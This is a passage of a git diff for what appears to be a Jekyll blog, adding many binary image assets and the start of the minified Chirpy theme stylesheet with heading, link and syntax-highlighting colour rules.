b/assets/c3150cdc85dd/1*RBRWT93L_abbhzTItL9Mhg.png differ diff --git a/assets/c3150cdc85dd/1*Rm101LKv29Avb5wv4isg4A.jpeg b/assets/c3150cdc85dd/1*Rm101LKv29Avb5wv4isg4A.jpeg new file mode 100644 index 000000000..ace54b907 Binary files /dev/null and b/assets/c3150cdc85dd/1*Rm101LKv29Avb5wv4isg4A.jpeg differ diff --git a/assets/c3150cdc85dd/1*SXYVBHk9-pMD8YufRQA4zw.png b/assets/c3150cdc85dd/1*SXYVBHk9-pMD8YufRQA4zw.png new file mode 100644 index 000000000..656ce594e Binary files /dev/null and b/assets/c3150cdc85dd/1*SXYVBHk9-pMD8YufRQA4zw.png differ diff --git a/assets/c3150cdc85dd/1*VSArlFmoFERbjH13Cns5TQ.jpeg b/assets/c3150cdc85dd/1*VSArlFmoFERbjH13Cns5TQ.jpeg new file mode 100644 index 000000000..000e1f96b Binary files /dev/null and b/assets/c3150cdc85dd/1*VSArlFmoFERbjH13Cns5TQ.jpeg differ diff --git a/assets/c3150cdc85dd/1*ZXTe6MEFXjYhqtf9uAJWwQ.png b/assets/c3150cdc85dd/1*ZXTe6MEFXjYhqtf9uAJWwQ.png new file mode 100644 index 000000000..67812f3e6 Binary files /dev/null and b/assets/c3150cdc85dd/1*ZXTe6MEFXjYhqtf9uAJWwQ.png differ diff --git a/assets/c3150cdc85dd/1*Zh_BWLwMUg5pOxFEVipgiQ.png b/assets/c3150cdc85dd/1*Zh_BWLwMUg5pOxFEVipgiQ.png new file mode 100644 index 000000000..b8f1d4a6e Binary files /dev/null and b/assets/c3150cdc85dd/1*Zh_BWLwMUg5pOxFEVipgiQ.png differ diff --git a/assets/c3150cdc85dd/1*ZjdH5A0QnLq2LNh9lWvCCw.jpeg b/assets/c3150cdc85dd/1*ZjdH5A0QnLq2LNh9lWvCCw.jpeg new file mode 100644 index 000000000..645471329 Binary files /dev/null and b/assets/c3150cdc85dd/1*ZjdH5A0QnLq2LNh9lWvCCw.jpeg differ diff --git a/assets/c3150cdc85dd/1*a9zXd_JSpz9IKInJlPoJ1w.png b/assets/c3150cdc85dd/1*a9zXd_JSpz9IKInJlPoJ1w.png new file mode 100644 index 000000000..f04e9b850 Binary files /dev/null and b/assets/c3150cdc85dd/1*a9zXd_JSpz9IKInJlPoJ1w.png differ diff --git a/assets/c3150cdc85dd/1*bVmWLH5tUcko5eeOmnR3kQ.jpeg b/assets/c3150cdc85dd/1*bVmWLH5tUcko5eeOmnR3kQ.jpeg new file mode 100644 index 000000000..d109e34c6 Binary files /dev/null and b/assets/c3150cdc85dd/1*bVmWLH5tUcko5eeOmnR3kQ.jpeg differ diff --git a/assets/c3150cdc85dd/1*e9ld6Qn7D64CG-DZA1vAsA.jpeg b/assets/c3150cdc85dd/1*e9ld6Qn7D64CG-DZA1vAsA.jpeg new file mode 100644 index 000000000..b81f77c17 Binary files /dev/null and b/assets/c3150cdc85dd/1*e9ld6Qn7D64CG-DZA1vAsA.jpeg differ diff --git a/assets/c3150cdc85dd/1*kEOxJCkOxDRuFfoxumssgA.png b/assets/c3150cdc85dd/1*kEOxJCkOxDRuFfoxumssgA.png new file mode 100644 index 000000000..fe643cf92 Binary files /dev/null and b/assets/c3150cdc85dd/1*kEOxJCkOxDRuFfoxumssgA.png differ diff --git a/assets/c3150cdc85dd/1*leO3Z492pJPh3hEASYr-ww.jpeg b/assets/c3150cdc85dd/1*leO3Z492pJPh3hEASYr-ww.jpeg new file mode 100644 index 000000000..1ecda016a Binary files /dev/null and b/assets/c3150cdc85dd/1*leO3Z492pJPh3hEASYr-ww.jpeg differ diff --git a/assets/c3150cdc85dd/1*lyzEU2cKxafbnXkWnR7ltg.jpeg b/assets/c3150cdc85dd/1*lyzEU2cKxafbnXkWnR7ltg.jpeg new file mode 100644 index 000000000..635e4a0b8 Binary files /dev/null and b/assets/c3150cdc85dd/1*lyzEU2cKxafbnXkWnR7ltg.jpeg differ diff --git a/assets/c3150cdc85dd/1*n0TIhqyCoKZo7--ePZwuLA.jpeg b/assets/c3150cdc85dd/1*n0TIhqyCoKZo7--ePZwuLA.jpeg new file mode 100644 index 000000000..082f5a97f Binary files /dev/null and b/assets/c3150cdc85dd/1*n0TIhqyCoKZo7--ePZwuLA.jpeg differ diff --git a/assets/c3150cdc85dd/1*oRK8tHqom2tnR3CE5xz_-w.png b/assets/c3150cdc85dd/1*oRK8tHqom2tnR3CE5xz_-w.png new file mode 100644 index 000000000..d63f2c1bc Binary files /dev/null and b/assets/c3150cdc85dd/1*oRK8tHqom2tnR3CE5xz_-w.png differ diff --git a/assets/c3150cdc85dd/1*pv62RZ_TjL8X6t-gXnwWtQ.jpeg b/assets/c3150cdc85dd/1*pv62RZ_TjL8X6t-gXnwWtQ.jpeg new file mode 100644 index 000000000..4516ffc43 Binary files /dev/null and b/assets/c3150cdc85dd/1*pv62RZ_TjL8X6t-gXnwWtQ.jpeg differ diff --git a/assets/c3150cdc85dd/1*q2ctcxaaxLFExKXd-9NjPg.png b/assets/c3150cdc85dd/1*q2ctcxaaxLFExKXd-9NjPg.png new file mode 100644 index 000000000..9262ebf3a Binary files /dev/null and b/assets/c3150cdc85dd/1*q2ctcxaaxLFExKXd-9NjPg.png differ diff --git a/assets/c3150cdc85dd/1*q_ui00ruJl1Fd3_5M-0EhQ.png b/assets/c3150cdc85dd/1*q_ui00ruJl1Fd3_5M-0EhQ.png new file mode 100644 index 000000000..2d353661c Binary files /dev/null and b/assets/c3150cdc85dd/1*q_ui00ruJl1Fd3_5M-0EhQ.png differ diff --git a/assets/c3150cdc85dd/1*qbtjNCj9mOvjuX7an6rhXw.jpeg b/assets/c3150cdc85dd/1*qbtjNCj9mOvjuX7an6rhXw.jpeg new file mode 100644 index 000000000..17a172e34 Binary files /dev/null and b/assets/c3150cdc85dd/1*qbtjNCj9mOvjuX7an6rhXw.jpeg differ diff --git a/assets/c3150cdc85dd/1*s33BtesqfNSUNyyR069m_Q.jpeg b/assets/c3150cdc85dd/1*s33BtesqfNSUNyyR069m_Q.jpeg new file mode 100644 index 000000000..a77ef7c28 Binary files /dev/null and b/assets/c3150cdc85dd/1*s33BtesqfNSUNyyR069m_Q.jpeg differ diff --git a/assets/c3150cdc85dd/1*tCpQ3io2Q2DDCVFxJpBm_g.png b/assets/c3150cdc85dd/1*tCpQ3io2Q2DDCVFxJpBm_g.png new file mode 100644 index 000000000..dbff29351 Binary files /dev/null and b/assets/c3150cdc85dd/1*tCpQ3io2Q2DDCVFxJpBm_g.png differ diff --git a/assets/c3150cdc85dd/1*uuaLjWduzC5RrOf-gd2-Jw.jpeg b/assets/c3150cdc85dd/1*uuaLjWduzC5RrOf-gd2-Jw.jpeg new file mode 100644 index 000000000..9b61a3f3f Binary files /dev/null and b/assets/c3150cdc85dd/1*uuaLjWduzC5RrOf-gd2-Jw.jpeg differ diff --git a/assets/c3150cdc85dd/1*vwCS3QHu285oCrChau9mpw.png b/assets/c3150cdc85dd/1*vwCS3QHu285oCrChau9mpw.png new file mode 100644 index 000000000..015921ea4 Binary files /dev/null and b/assets/c3150cdc85dd/1*vwCS3QHu285oCrChau9mpw.png differ diff --git a/assets/c3150cdc85dd/1*xLM5-khndWjvEDdTaFiPfw.png b/assets/c3150cdc85dd/1*xLM5-khndWjvEDdTaFiPfw.png new file mode 100644 index 000000000..128a2c438 Binary files /dev/null and b/assets/c3150cdc85dd/1*xLM5-khndWjvEDdTaFiPfw.png differ diff --git a/assets/c4d7c2ce5a8d/1*73CuWIMwmWT1ZsJB8K_q5g.jpeg b/assets/c4d7c2ce5a8d/1*73CuWIMwmWT1ZsJB8K_q5g.jpeg new file mode 100644 index 000000000..79600819f Binary files /dev/null and b/assets/c4d7c2ce5a8d/1*73CuWIMwmWT1ZsJB8K_q5g.jpeg differ diff --git a/assets/c4d7c2ce5a8d/1*JhWpjENUxBxtr1_KCi2cBQ.png b/assets/c4d7c2ce5a8d/1*JhWpjENUxBxtr1_KCi2cBQ.png new file mode 100644 index 000000000..f47b91fd3 Binary files /dev/null and b/assets/c4d7c2ce5a8d/1*JhWpjENUxBxtr1_KCi2cBQ.png differ diff --git a/assets/c4d7c2ce5a8d/1*xV13V7U8_SyvK_znwlg1yQ.png b/assets/c4d7c2ce5a8d/1*xV13V7U8_SyvK_znwlg1yQ.png new file mode 100644 index 000000000..e02a564f1 Binary files /dev/null and b/assets/c4d7c2ce5a8d/1*xV13V7U8_SyvK_znwlg1yQ.png differ diff --git a/assets/c5e7e580c341/1*29HWP-4vlMaMng3O2hJSQw.png b/assets/c5e7e580c341/1*29HWP-4vlMaMng3O2hJSQw.png new file mode 100644 index 000000000..37a4b05f6 Binary files /dev/null and b/assets/c5e7e580c341/1*29HWP-4vlMaMng3O2hJSQw.png differ diff --git a/assets/c5e7e580c341/1*4_DB0CfHmEqt0HO6mDt8mA.png b/assets/c5e7e580c341/1*4_DB0CfHmEqt0HO6mDt8mA.png new file mode 100644 index 000000000..24b1c510f Binary files /dev/null and b/assets/c5e7e580c341/1*4_DB0CfHmEqt0HO6mDt8mA.png differ diff --git a/assets/c5e7e580c341/1*I9TWEmsmEqZA-01OGq52kA.png b/assets/c5e7e580c341/1*I9TWEmsmEqZA-01OGq52kA.png new file mode 100644 index 000000000..3f2adc97a Binary files /dev/null and b/assets/c5e7e580c341/1*I9TWEmsmEqZA-01OGq52kA.png differ diff --git a/assets/c5e7e580c341/1*MAa5Z8bK9ppAN6WJxEButg.png b/assets/c5e7e580c341/1*MAa5Z8bK9ppAN6WJxEButg.png new file mode 100644 index 000000000..91ae156d3 Binary files /dev/null and b/assets/c5e7e580c341/1*MAa5Z8bK9ppAN6WJxEButg.png differ diff --git a/assets/c5e7e580c341/1*QgSEmllj-9AjM74tGucUag.png b/assets/c5e7e580c341/1*QgSEmllj-9AjM74tGucUag.png new file mode 100644 index 000000000..63290be3f Binary files /dev/null and b/assets/c5e7e580c341/1*QgSEmllj-9AjM74tGucUag.png differ diff --git a/assets/c5e7e580c341/1*SwCOuRX_5KD4GsBNfaTQDQ.png b/assets/c5e7e580c341/1*SwCOuRX_5KD4GsBNfaTQDQ.png new file mode 100644 index 000000000..021db0788 Binary files /dev/null and b/assets/c5e7e580c341/1*SwCOuRX_5KD4GsBNfaTQDQ.png differ diff --git a/assets/c5e7e580c341/1*fhw8C_wb2ehP_xgwMtPmoQ.png b/assets/c5e7e580c341/1*fhw8C_wb2ehP_xgwMtPmoQ.png new file mode 100644 index 000000000..d46fedf5c Binary files /dev/null and b/assets/c5e7e580c341/1*fhw8C_wb2ehP_xgwMtPmoQ.png differ diff --git a/assets/c5e7e580c341/1*hC4rOksfkDJzo3TWJMFrXg.png b/assets/c5e7e580c341/1*hC4rOksfkDJzo3TWJMFrXg.png new file mode 100644 index 000000000..06fec131f Binary files /dev/null and b/assets/c5e7e580c341/1*hC4rOksfkDJzo3TWJMFrXg.png differ diff --git a/assets/c5e7e580c341/1*pB25wJ1uEzzznUfT05gfBw.png b/assets/c5e7e580c341/1*pB25wJ1uEzzznUfT05gfBw.png new file mode 100644 index 000000000..fe2f4722a Binary files /dev/null and b/assets/c5e7e580c341/1*pB25wJ1uEzzznUfT05gfBw.png differ diff --git a/assets/c5e7e580c341/1*yXSqoDouuL4Jl2sM49iLHA.png b/assets/c5e7e580c341/1*yXSqoDouuL4Jl2sM49iLHA.png new file mode 100644 index 000000000..70104774e Binary files /dev/null and b/assets/c5e7e580c341/1*yXSqoDouuL4Jl2sM49iLHA.png differ diff --git a/assets/c5e7e580c341/1*zoRcWhT9HcwLXWlmui5wNw.png b/assets/c5e7e580c341/1*zoRcWhT9HcwLXWlmui5wNw.png new file mode 100644 index 000000000..ffdd104fa Binary files /dev/null and b/assets/c5e7e580c341/1*zoRcWhT9HcwLXWlmui5wNw.png differ diff --git a/assets/cb00b1977537/1*zoN0YxCnWdvMs35FaP5tNA.jpeg b/assets/cb00b1977537/1*zoN0YxCnWdvMs35FaP5tNA.jpeg new file mode 100644 index 000000000..6bec2e53a Binary files /dev/null and b/assets/cb00b1977537/1*zoN0YxCnWdvMs35FaP5tNA.jpeg differ diff --git a/assets/cb0c68c33994/1*74lbicQ_vPzrLfm1imk7Pg.png b/assets/cb0c68c33994/1*74lbicQ_vPzrLfm1imk7Pg.png new file mode 100644 index 000000000..298cc5157 Binary files /dev/null and b/assets/cb0c68c33994/1*74lbicQ_vPzrLfm1imk7Pg.png differ diff --git a/assets/cb0c68c33994/1*B0xW1CXU-avz2j8_ny3Ang.jpeg b/assets/cb0c68c33994/1*B0xW1CXU-avz2j8_ny3Ang.jpeg new file mode 100644 index 000000000..54998a00c Binary files /dev/null and b/assets/cb0c68c33994/1*B0xW1CXU-avz2j8_ny3Ang.jpeg differ diff --git a/assets/cb0c68c33994/1*BMCG3cu21W5MbODBbhI-sA.jpeg b/assets/cb0c68c33994/1*BMCG3cu21W5MbODBbhI-sA.jpeg new file mode 100644 index 000000000..d07ab0521 Binary files /dev/null and b/assets/cb0c68c33994/1*BMCG3cu21W5MbODBbhI-sA.jpeg differ diff --git a/assets/cb0c68c33994/1*EE2J5HmdiIogMwC3Iiy0KA.png b/assets/cb0c68c33994/1*EE2J5HmdiIogMwC3Iiy0KA.png new file mode 100644 index 000000000..43dda3ae4 Binary files /dev/null and b/assets/cb0c68c33994/1*EE2J5HmdiIogMwC3Iiy0KA.png differ diff --git a/assets/cb0c68c33994/1*I00Znmzaivm_-7ous0-4Pw.png b/assets/cb0c68c33994/1*I00Znmzaivm_-7ous0-4Pw.png new file mode 100644 index 000000000..875e04103 Binary files /dev/null and b/assets/cb0c68c33994/1*I00Znmzaivm_-7ous0-4Pw.png differ diff --git a/assets/cb0c68c33994/1*Iv6qvrBfyv3bU1NK1hPVHg.png b/assets/cb0c68c33994/1*Iv6qvrBfyv3bU1NK1hPVHg.png new file mode 100644 index 000000000..69cda907e Binary files /dev/null and b/assets/cb0c68c33994/1*Iv6qvrBfyv3bU1NK1hPVHg.png differ diff --git a/assets/cb0c68c33994/1*OlYQLNXAOk1oNqDP7LSlrA.png b/assets/cb0c68c33994/1*OlYQLNXAOk1oNqDP7LSlrA.png new file mode 100644 index 000000000..a75333b31 Binary files /dev/null and b/assets/cb0c68c33994/1*OlYQLNXAOk1oNqDP7LSlrA.png differ diff --git a/assets/cb0c68c33994/1*b_vINNRMrAIQrkuouN7X1Q.png b/assets/cb0c68c33994/1*b_vINNRMrAIQrkuouN7X1Q.png new file mode 100644 index 000000000..de7186b5b Binary files /dev/null and b/assets/cb0c68c33994/1*b_vINNRMrAIQrkuouN7X1Q.png differ diff --git a/assets/cb6eba52a342/1*2KRusR8MJUim7UH1CmS7pw.png b/assets/cb6eba52a342/1*2KRusR8MJUim7UH1CmS7pw.png new file mode 100644 index 000000000..6cdb1b2e2 Binary files /dev/null and b/assets/cb6eba52a342/1*2KRusR8MJUim7UH1CmS7pw.png differ diff --git a/assets/cb6eba52a342/1*3DF_fMQLSrGxTbmLY6CJAg.png b/assets/cb6eba52a342/1*3DF_fMQLSrGxTbmLY6CJAg.png new file mode 100644 index 000000000..d4373b8bb Binary files /dev/null and b/assets/cb6eba52a342/1*3DF_fMQLSrGxTbmLY6CJAg.png differ diff --git a/assets/cb6eba52a342/1*8juoKO7BZiT3PQjqufWcrA.jpeg b/assets/cb6eba52a342/1*8juoKO7BZiT3PQjqufWcrA.jpeg new file mode 100644 index 000000000..b54131a76 Binary files /dev/null and b/assets/cb6eba52a342/1*8juoKO7BZiT3PQjqufWcrA.jpeg differ diff --git a/assets/cb6eba52a342/1*SepeUiS7CN7xmGFxariPjA.png b/assets/cb6eba52a342/1*SepeUiS7CN7xmGFxariPjA.png new file mode 100644 index 000000000..5df57739f Binary files /dev/null and b/assets/cb6eba52a342/1*SepeUiS7CN7xmGFxariPjA.png differ diff --git a/assets/cb6eba52a342/1*UsCd2btDPK6GWKrYEA9LbQ.png b/assets/cb6eba52a342/1*UsCd2btDPK6GWKrYEA9LbQ.png new file mode 100644 index 000000000..6b1308317 Binary files /dev/null and b/assets/cb6eba52a342/1*UsCd2btDPK6GWKrYEA9LbQ.png differ diff --git a/assets/cb6eba52a342/1*ZjPVTxLR6ywAdk70Y7_J7A.png b/assets/cb6eba52a342/1*ZjPVTxLR6ywAdk70Y7_J7A.png new file mode 100644 index 000000000..aca7a1836 Binary files /dev/null and b/assets/cb6eba52a342/1*ZjPVTxLR6ywAdk70Y7_J7A.png differ diff --git a/assets/cb6eba52a342/1*dd2kRizi6v-AIXcMWourow.png b/assets/cb6eba52a342/1*dd2kRizi6v-AIXcMWourow.png new file mode 100644 index 000000000..3165d9ccc Binary files /dev/null and b/assets/cb6eba52a342/1*dd2kRizi6v-AIXcMWourow.png differ diff --git a/assets/cb6eba52a342/1*sAuzxJPpohTGp-KV13yupg.png b/assets/cb6eba52a342/1*sAuzxJPpohTGp-KV13yupg.png new file mode 100644 index 000000000..477dcc218 Binary files /dev/null and b/assets/cb6eba52a342/1*sAuzxJPpohTGp-KV13yupg.png differ diff --git a/assets/css/style.css b/assets/css/style.css new file mode 100644 index 000000000..51a6135c4 --- /dev/null +++ b/assets/css/style.css @@ -0,0 +1,7 @@ +/*! + * Chirpy v6.1.0 (https://github.com/cotes2020/jekyll-theme-chirpy) + * © 2019 Cotes Chung + * MIT Licensed + */#search-results a,h5,h4,h3,h2,h1{color:var(--heading-color);font-weight:400;font-family:Lato,"Microsoft Yahei",sans-serif}#core-wrapper h5,#core-wrapper h4,#core-wrapper h3,#core-wrapper h2{margin-top:2.5rem;margin-bottom:1.25rem}#core-wrapper h5:focus,#core-wrapper h4:focus,#core-wrapper h3:focus,#core-wrapper h2:focus{outline:none}h5 .anchor,h4 .anchor,h3 .anchor,h2 .anchor{font-size:80%}@media(hover: hover){h5 .anchor,h4 .anchor,h3 .anchor,h2 .anchor{visibility:hidden;opacity:0;transition:opacity .25s ease-in,visibility 0s ease-in .25s}h5:hover .anchor,h4:hover .anchor,h3:hover .anchor,h2:hover .anchor{visibility:visible;opacity:1;transition:opacity .25s ease-in,visibility 0s ease-in 0s}}.post-tags .post-tag:hover,.tag:hover{background:var(--tag-hover);transition:background .35s ease-in-out}.table-wrapper>table tbody tr td,.table-wrapper>table thead th{padding:.4rem 1rem;font-size:95%;white-space:nowrap}#page-category a:hover,#page-tag a:hover,.post-tags .post-tag:hover,.post-tail-wrapper .license-wrapper>a:hover,#search-results a:hover,#topbar #breadcrumb a:hover,.post-content a:not(.img-link):hover,.post-meta a:not([class]):hover,#access-lastmod a:hover,footer a:hover{color:#d2603a !important;border-bottom:1px solid #d2603a;text-decoration:none}#search-results a,#search-hints .post-tag,a{color:var(--link-color)}.post-tail-wrapper .post-meta a:not(:hover),.post-content a:not(.img-link){border-bottom:1px solid var(--link-underline-color)}#sidebar .sidebar-bottom a,#sidebar .site-title a,#sidebar .profile-wrapper{transition:all .3s ease-in-out}#sidebar .sidebar-bottom .icon-border,.post-content a.popup,i.far,i.fas,.code-header{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}#page-category ul>li>a,#page-tag ul>li>a,.post-tags .post-tag:hover,#core-wrapper .categories a:not(:hover),#core-wrapper #tags a:not(:hover),#core-wrapper #archives a:not(:hover),#search-results a,#access-lastmod a{border-bottom:none}.post-tail-wrapper .share-wrapper .share-icons>i,#search-cancel,.code-header button{cursor:pointer}#related-posts em,#post-list .card .card-body .post-meta em,.post-meta em{font-style:normal}.categories.card,.categories .list-group,.preview-img img,.preview-img,.embed-video,.post-preview::before,.post-preview,blockquote[class^=prompt-],.code-header button,div[class^=language-],.highlight{border-radius:.5rem}.post-content a.popup+em,img[data-src]+em{display:block;text-align:center;font-style:normal;font-size:80%;padding:0;color:#6d6c6c}#sidebar .sidebar-bottom .mode-toggle,#sidebar a{color:rgba(117,117,117,.9);-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}#related-posts .card h4,#post-list .card .card-body .card-text.post-content p,#post-list .card .card-body .card-title{display:-webkit-box;overflow:hidden;text-overflow:ellipsis;-webkit-line-clamp:2;-webkit-box-orient:vertical}@media(prefers-color-scheme: light){html:not([data-mode]),html[data-mode=light]{--language-border-color: rgba(172, 169, 169, 0.2);--highlight-bg-color: #f7f7f7;--highlighter-rouge-color: #3f596f;--highlight-lineno-color: #c2c6cc;--inline-code-bg: #f6f6f7;--code-header-text-color: #a3a3b1;--code-header-muted-color: #ebebeb;--code-header-icon-color: #d1d1d1;--clipboard-checked-color: #43c743}html:not([data-mode]) .highlight .hll,html[data-mode=light] .highlight .hll{background-color:#ffc}html:not([data-mode]) .highlight .c,html[data-mode=light] .highlight .c{color:#998;font-style:italic}html:not([data-mode]) .highlight .err,html[data-mode=light] .highlight .err{color:#a61717;background-color:#e3d2d2}html:not([data-mode]) .highlight .k,html[data-mode=light] .highlight .k{color:#000;font-weight:bold}html:not([data-mode]) .highlight .o,html[data-mode=light] .highlight .o{color:#000;font-weight:bold}html:not([data-mode]) .highlight .cm,html[data-mode=light] .highlight .cm{color:#998;font-style:italic}html:not([data-mode]) .highlight .cp,html[data-mode=light] .highlight .cp{color:#999;font-weight:bold;font-style:italic}html:not([data-mode]) .highlight .c1,html[data-mode=light] .highlight .c1{color:#998;font-style:italic}html:not([data-mode]) .highlight .cs,html[data-mode=light] .highlight .cs{color:#999;font-weight:bold;font-style:italic}html:not([data-mode]) .highlight .gd,html[data-mode=light] .highlight .gd{color:#d01040;background-color:#fdd}html:not([data-mode]) .highlight .ge,html[data-mode=light] .highlight .ge{color:#000;font-style:italic}html:not([data-mode]) .highlight .gr,html[data-mode=light] .highlight .gr{color:#a00}html:not([data-mode]) .highlight .gh,html[data-mode=light] .highlight .gh{color:#999}html:not([data-mode]) .highlight .gi,html[data-mode=light] .highlight .gi{color:teal;background-color:#dfd}html:not([data-mode]) .highlight .go,html[data-mode=light] .highlight .go{color:#888}html:not([data-mode]) .highlight .gp,html[data-mode=light] .highlight .gp{color:#555}html:not([data-mode]) .highlight .gs,html[data-mode=light] .highlight .gs{font-weight:bold}html:not([data-mode]) .highlight .gu,html[data-mode=light] .highlight .gu{color:#aaa}html:not([data-mode]) .highlight .gt,html[data-mode=light] .highlight .gt{color:#a00}html:not([data-mode]) .highlight .kc,html[data-mode=light] .highlight .kc{color:#000;font-weight:bold}html:not([data-mode]) .highlight .kd,html[data-mode=light] .highlight .kd{color:#000;font-weight:bold}html:not([data-mode]) .highlight .kn,html[data-mode=light] .highlight .kn{color:#000;font-weight:bold}html:not([data-mode]) .highlight .kp,html[data-mode=light] .highlight .kp{color:#000;font-weight:bold}html:not([data-mode]) .highlight .kr,html[data-mode=light] .highlight .kr{color:#000;font-weight:bold}html:not([data-mode]) .highlight .kt,html[data-mode=light] .highlight .kt{color:#458;font-weight:bold}html:not([data-mode]) .highlight .m,html[data-mode=light] .highlight .m{color:#099}html:not([data-mode]) .highlight .s,html[data-mode=light] .highlight .s{color:#d01040}html:not([data-mode]) .highlight .na,html[data-mode=light] .highlight .na{color:teal}html:not([data-mode]) .highlight .nb,html[data-mode=light] .highlight .nb{color:#0086b3}html:not([data-mode]) .highlight .nc,html[data-mode=light] .highlight .nc{color:#458;font-weight:bold}html:not([data-mode]) .highlight .no,html[data-mode=light] .highlight .no{color:teal}html:not([data-mode]) .highlight .nd,html[data-mode=light] .highlight .nd{color:#3c5d5d;font-weight:bold}html:not([data-mode]) .highlight .ni,html[data-mode=light] .highlight .ni{color:purple}html:not([data-mode]) .highlight .ne,html[data-mode=light] .highlight .ne{color:#900;font-weight:bold}html:not([data-mode]) .highlight .nf,html[data-mode=light] .highlight .nf{color:#900;font-weight:bold}html:not([data-mode]) .highlight .nl,html[data-mode=light] .highlight .nl{color:#900;font-weight:bold}html:not([data-mode]) .highlight .nn,html[data-mode=light] .highlight .nn{color:#555}html:not([data-mode]) .highlight .nt,html[data-mode=light] .highlight .nt{color:navy}html:not([data-mode]) .highlight .nv,html[data-mode=light] .highlight .nv{color:teal}html:not([data-mode]) .highlight .ow,html[data-mode=light] .highlight .ow{color:#000;font-weight:bold}html:not([data-mode]) .highlight .w,html[data-mode=light] .highlight .w{color:#bbb}html:not([data-mode]) .highlight .mf,html[data-mode=light] .highlight .mf{color:#099}html:not([data-mode]) .highlight .mh,html[data-mode=light] .highlight .mh{color:#099}html:not([data-mode]) .highlight .mi,html[data-mode=light] .highlight .mi{color:#099}html:not([data-mode]) .highlight .mo,html[data-mode=light] .highlight .mo{color:#099}html:not([data-mode]) .highlight .sb,html[data-mode=light] .highlight .sb{color:#d01040}html:not([data-mode]) .highlight .sc,html[data-mode=light] .highlight .sc{color:#d01040}html:not([data-mode]) .highlight .sd,html[data-mode=light] .highlight .sd{color:#d01040}html:not([data-mode]) .highlight .s2,html[data-mode=light] .highlight .s2{color:#d01040}html:not([data-mode]) .highlight .se,html[data-mode=light] .highlight .se{color:#d01040}html:not([data-mode]) .highlight .sh,html[data-mode=light] .highlight .sh{color:#d01040}html:not([data-mode]) .highlight .si,html[data-mode=light] .highlight .si{color:#d01040}html:not([data-mode]) .highlight .sx,html[data-mode=light] .highlight .sx{color:#d01040}html:not([data-mode]) .highlight .sr,html[data-mode=light] .highlight .sr{color:#009926}html:not([data-mode]) .highlight .s1,html[data-mode=light] .highlight .s1{color:#d01040}html:not([data-mode]) .highlight .ss,html[data-mode=light] .highlight .ss{color:#990073}html:not([data-mode]) .highlight .bp,html[data-mode=light] .highlight .bp{color:#999}html:not([data-mode]) .highlight .vc,html[data-mode=light] .highlight .vc{color:teal}html:not([data-mode]) .highlight .vg,html[data-mode=light] .highlight .vg{color:teal}html:not([data-mode]) .highlight .vi,html[data-mode=light] .highlight .vi{color:teal}html:not([data-mode]) .highlight .il,html[data-mode=light] .highlight .il{color:#099}html:not([data-mode]) [class^=prompt-],html[data-mode=light] [class^=prompt-]{--inline-code-bg: #fbfafa}html[data-mode=dark]{--language-border-color: rgba(84, 83, 83, 0.27);--highlight-bg-color: #252525;--highlighter-rouge-color: #de6b18;--highlight-lineno-color: #6c6c6d;--inline-code-bg: #272822;--code-header-text-color: #6a6a6a;--code-header-muted-color: rgb(60, 60, 60);--code-header-icon-color: rgb(86, 86, 86);--clipboard-checked-color: #2bcc2b;--filepath-text-color: #bdbdbd}html[data-mode=dark] pre{color:#bfbfbf}html[data-mode=dark] .highlight .gp{color:#818c96}html[data-mode=dark] .highlight pre{background-color:var(--highlight-bg-color)}html[data-mode=dark] .highlight .hll{background-color:var(--highlight-bg-color)}html[data-mode=dark] .highlight .c{color:#75715e}html[data-mode=dark] .highlight .err{color:#960050;background-color:#1e0010}html[data-mode=dark] .highlight .k{color:#66d9ef}html[data-mode=dark] .highlight .l{color:#ae81ff}html[data-mode=dark] .highlight .n{color:#f8f8f2}html[data-mode=dark] .highlight .o{color:#f92672}html[data-mode=dark] .highlight .p{color:#f8f8f2}html[data-mode=dark] .highlight .cm{color:#75715e}html[data-mode=dark] .highlight .cp{color:#75715e}html[data-mode=dark] .highlight .c1{color:#75715e}html[data-mode=dark] .highlight .cs{color:#75715e}html[data-mode=dark] .highlight .ge{color:inherit;font-style:italic}html[data-mode=dark] .highlight .gs{font-weight:bold}html[data-mode=dark] .highlight .kc{color:#66d9ef}html[data-mode=dark] .highlight .kd{color:#66d9ef}html[data-mode=dark] .highlight .kn{color:#f92672}html[data-mode=dark] .highlight .kp{color:#66d9ef}html[data-mode=dark] .highlight .kr{color:#66d9ef}html[data-mode=dark] .highlight .kt{color:#66d9ef}html[data-mode=dark] .highlight .ld{color:#e6db74}html[data-mode=dark] .highlight .m{color:#ae81ff}html[data-mode=dark] .highlight .s{color:#e6db74}html[data-mode=dark] .highlight .na{color:#a6e22e}html[data-mode=dark] .highlight .nb{color:#f8f8f2}html[data-mode=dark] .highlight .nc{color:#a6e22e}html[data-mode=dark] .highlight .no{color:#66d9ef}html[data-mode=dark] .highlight .nd{color:#a6e22e}html[data-mode=dark] .highlight .ni{color:#f8f8f2}html[data-mode=dark] .highlight .ne{color:#a6e22e}html[data-mode=dark] .highlight .nf{color:#a6e22e}html[data-mode=dark] .highlight .nl{color:#f8f8f2}html[data-mode=dark] .highlight .nn{color:#f8f8f2}html[data-mode=dark] .highlight .nx{color:#a6e22e}html[data-mode=dark] .highlight .py{color:#f8f8f2}html[data-mode=dark] .highlight .nt{color:#f92672}html[data-mode=dark] .highlight .nv{color:#f8f8f2}html[data-mode=dark] .highlight .ow{color:#f92672}html[data-mode=dark] .highlight .w{color:#f8f8f2}html[data-mode=dark] .highlight .mf{color:#ae81ff}html[data-mode=dark] .highlight .mh{color:#ae81ff}html[data-mode=dark] .highlight .mi{color:#ae81ff}html[data-mode=dark] .highlight .mo{color:#ae81ff}html[data-mode=dark] .highlight .sb{color:#e6db74}html[data-mode=dark] .highlight .sc{color:#e6db74}html[data-mode=dark] .highlight .sd{color:#e6db74}html[data-mode=dark] .highlight .s2{color:#e6db74}html[data-mode=dark] .highlight .se{color:#ae81ff}html[data-mode=dark] .highlight .sh{color:#e6db74}html[data-mode=dark] .highlight .si{color:#e6db74}html[data-mode=dark] .highlight .sx{color:#e6db74}html[data-mode=dark] .highlight .sr{color:#e6db74}html[data-mode=dark] .highlight .s1{color:#e6db74}html[data-mode=dark] .highlight .ss{color:#e6db74}html[data-mode=dark] .highlight .bp{color:#f8f8f2}html[data-mode=dark] .highlight .vc{color:#f8f8f2}html[data-mode=dark] .highlight .vg{color:#f8f8f2}html[data-mode=dark] .highlight .vi{color:#f8f8f2}html[data-mode=dark] .highlight .il{color:#ae81ff}html[data-mode=dark] .highlight .gu{color:#75715e}html[data-mode=dark] .highlight .gd{color:#f92672;background-color:#561c08}html[data-mode=dark] .highlight 